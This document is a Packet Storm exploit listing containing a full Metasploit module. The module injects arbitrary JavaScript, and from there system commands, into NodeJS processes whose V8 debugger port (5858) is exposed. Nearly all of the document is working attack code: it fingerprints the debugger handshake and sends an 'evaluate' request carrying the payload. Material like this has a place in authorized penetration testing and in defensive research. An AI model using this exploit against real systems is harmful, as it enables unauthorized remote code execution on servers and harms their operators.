NodeJS Debugger Command Injection

2017-09-26T00:00:00
ID PACKETSTORM:144333
Type packetstorm
Reporter Patrick Thomas
Modified 2017-09-26T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Tcp  
  
MESSAGE_HEADER_TEMPLATE = "Content-Length: %{length}\r\n\r\n"  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "NodeJS Debugger Command Injection",  
'Description' => %q{  
This module uses the "evaluate" request type of the NodeJS V8  
debugger protocol (version 1) to evaluate arbitrary JS and  
call out to other system commands. The port (default 5858) is  
not exposed non-locally in default configurations, but may be  
exposed either intentionally or via misconfiguration.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'Patrick Thomas <pst[at]coffeetocode.net>' ],  
'References' =>  
[  
[ 'URL', 'https://github.com/buggerjs/bugger-v8-client/blob/master/PROTOCOL.md' ],  
[ 'URL', 'https://github.com/nodejs/node/pull/8106' ]  
],  
'Targets' =>  
[  
['NodeJS', { 'Platform' => 'nodejs', 'Arch' => 'nodejs' } ],  
],  
'Privileged' => false,  
'DisclosureDate' => "Aug 15 2016",  
'DefaultTarget' => 0)  
)  
  
register_options(  
[  
Opt::RPORT(5858)  
])  
end  
  
def make_eval_message  
msg_body = { seq: 1,  
type: 'request',  
command: 'evaluate',  
arguments: { expression: payload.encoded,  
global: true,  
maxStringLength:-1  
}  
}.to_json  
msg_header = MESSAGE_HEADER_TEMPLATE % {:length => msg_body.length}  
msg_header + msg_body  
end  
  
def check  
connect  
res = sock.get_once  
disconnect  
  
if res.include? "V8-Version" and res.include? "Protocol-Version: 1"  
vprint_status("Got debugger handshake:\n#{res}")  
return Exploit::CheckCode::Appears  
end  
  
Exploit::CheckCode::Unknown  
end  
  
def exploit  
connect  
# must consume incoming handshake before sending payload  
buf = sock.get_once  
msg = make_eval_message  
print_status("Sending #{msg.length} byte payload...")  
vprint_status("#{msg}")  
sock.put(msg)  
buf = sock.get_once  
  
if buf.include? '"command":"evaluate","success":true'  
print_status("Got success response")  
elsif buf.include? '"command":"evaluate","success":false'  
print_error("Got failure response: #{buf}")  
else  
print_error("Got unexpected response: #{buf}")  
end  
end  
  
end  
`